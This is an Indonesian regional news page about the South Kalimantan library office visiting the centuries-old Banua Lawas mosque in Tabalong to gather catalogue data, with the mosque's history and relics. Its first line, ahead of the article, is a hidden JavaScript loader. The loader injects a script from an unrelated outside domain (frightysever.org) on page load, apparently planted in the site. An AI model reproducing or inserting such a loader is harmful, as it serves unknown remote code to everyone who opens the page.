(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

Berburu Katalog Induk Daerah, Mandikan Pataka Masjid Pusaka Banua Lawas Â


KANALKALIMANTAN.COM, TANJUNG – Masjid Pusaka Banua Lawas, Kecamatan Banua Lawas, Kabupaten Tabalong, menjadi tujuan Dinas Perpustakaan dan Kearsipan (Dispersip) Kalsel untuk berburu katalog induk daerah.

Upaya menghimpun katalog koleksi induk daerah dari berbagai jenis perpustakaan yang mencakup semua bidang ilmu pengetahuan.

Rencananya, katalog induk daerah tersebut akan menjadi bahan penyusun bibliografi Kalsel, yang berisi data atau informasi yang memuat judul-judul buku yang terbit di Banua dan berfungsi sebagai alat telusur bagi pemustaka.

“Kegiatan ini adalah sebagai salah satu sarana kerja sama antar perpustakaan melalui jaringan informasi daerah. Kegiatan penerbitan bibliografi daerah merupakan kegiatan dalam rangka hunting buku-buku yang diterbitkan para penerbit dan penulis, baik dari pemerintah maupun swasta sebagai bahan pembuatan bibliografi,” kata Kepala Dispersip Kalsel, Dra Hj Nurliani Dardie, Kamis (12/8/2021).

 

 

Tidak hanya berburu katalog induk daerah, Kadispersip Kalsel juga berkesempatan memandikan pusaka masjid Banua Lawas yag diperkirakan berusia 395 tahun.

Kesempatan itu didapatkan saat mengunjungi masjid yang berdasarkan catatan sejarah selesai dibangun pada sekitar tahun 1625 masehi, dan termasuk sebagai salah satu bangunan masjid tertua di Kabupaten Tabalong.

Kadispersip Kalsel Hj Nurliani Dardie mendapat kesempatan memegang benda keramat sungkul pucuk (pataka) tiang Masjid Pusaka Banua Lawas, Kecamatan Kalua, Kabupaten Tabalong. Foto: dispersipkalsel

Pusaka tersebut berupa salah satu sungkul pucuk (pataka) tiang dari empat tiang masjid, yang terbuat dari kayu ulin dengan warna hitam pekat.

“Saya merasa beruntung secara tidak sengaja saat berziarah pada 30 Zulhijah 1442 hijriah lalu, diperkenankan memegang pucuk tiang yang paling kecil, yang sebelumnya disimpan oleh ahli waris di rumahnya, dan tahun 2019 dikembalikan, hingga disimpan pada lemari kaca pada Masjid Banua Lawas,” kata Nurliani.

 

Masjid Peninggalan Kerajaan Banjar yang Diterima Suku Dayak Maanyan

 

Masjid ini adalah sebuah masjid tua yang terletak di desa Banua Lawas, Kecamatan Banua Lawas, Kabupaten Tabalong, Kalimantan Selatan. Masjid ini juga sering disebut Masjid Pasar Arba karena pada hari Rabu (arba), jumlah para pengunjung/peziarah lebih banyak dari hari-hari yang lain.

Di masjid tertua di Kabupaten Tabalong yang dikeramatkan itu, selain menjadi tempat ibadah, juga menjadi tonggak atau bukti sejarah diterimanya Islam bagi suku Dayak Maanyan di Kabupaten Tabalong.

Masjid ini ramai dikunjungi atau diziarahi umat Islam, termasuk dari Kaltim. Di Masjid Pusaka ini, selain masih tersimpan beduk asli dan petaka sepanjang 110 cm. Keberadaannya sejak masjid dibangun tahun 1625 masehi yang diprakarsai Khatib Dayan dan saudaranya Sultan Abdurrahman (dari Kesultanan Banjar yang berpusat di Kuin).

Khatib Dayan dibantu tokoh-tokoh masyarakat Dayak, juga Datu Ranggana, Datu Kartamina, Datu Saripanji, Langlang Buana, Taruntung Manau, Timba Sagara, Layar Sampit, Pambalah Batung dan Garuntung Waluh.

Di teras depan Masjid Pusaka, ada dua tajau (guci tempat penampungan air yang dulunya digunakan suku Dayak untuk memandikan anak yang baru lahir). Kendati diterpa atau disengat matahari, namun dua tajau yang usianya mencapai 400 tahun itu tak berubah warnanya.

Para peziarah ke sana tak lupa membawa pulang air dalam tajau itu karena diyakini warga memiliki berkah digunakan cuci muka atau diminum. Kebanyakan mereka datang ke Masjid Pusaka pada hari Rabu karena bertepatan hari pasar di Banua Lawas. Mereka menyempatkan diri ziarah, selain untuk beribadah antara lain sembahyang sunat tahiyatul masjid dan membaca surah Yasin, juga ada yang mengaku membayar nazar, karena harapannya terkabul.

Di samping masjid terdapat pekuburan warga setempat sejak dahulu dan salah satu yang mencolok adalah bangunan (kubah) yang merupakan makam pejuang Banjar bernama Penghulu Rasyid. (kanalkalimantan.com/al)

Reporter : al
Editor : kk

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.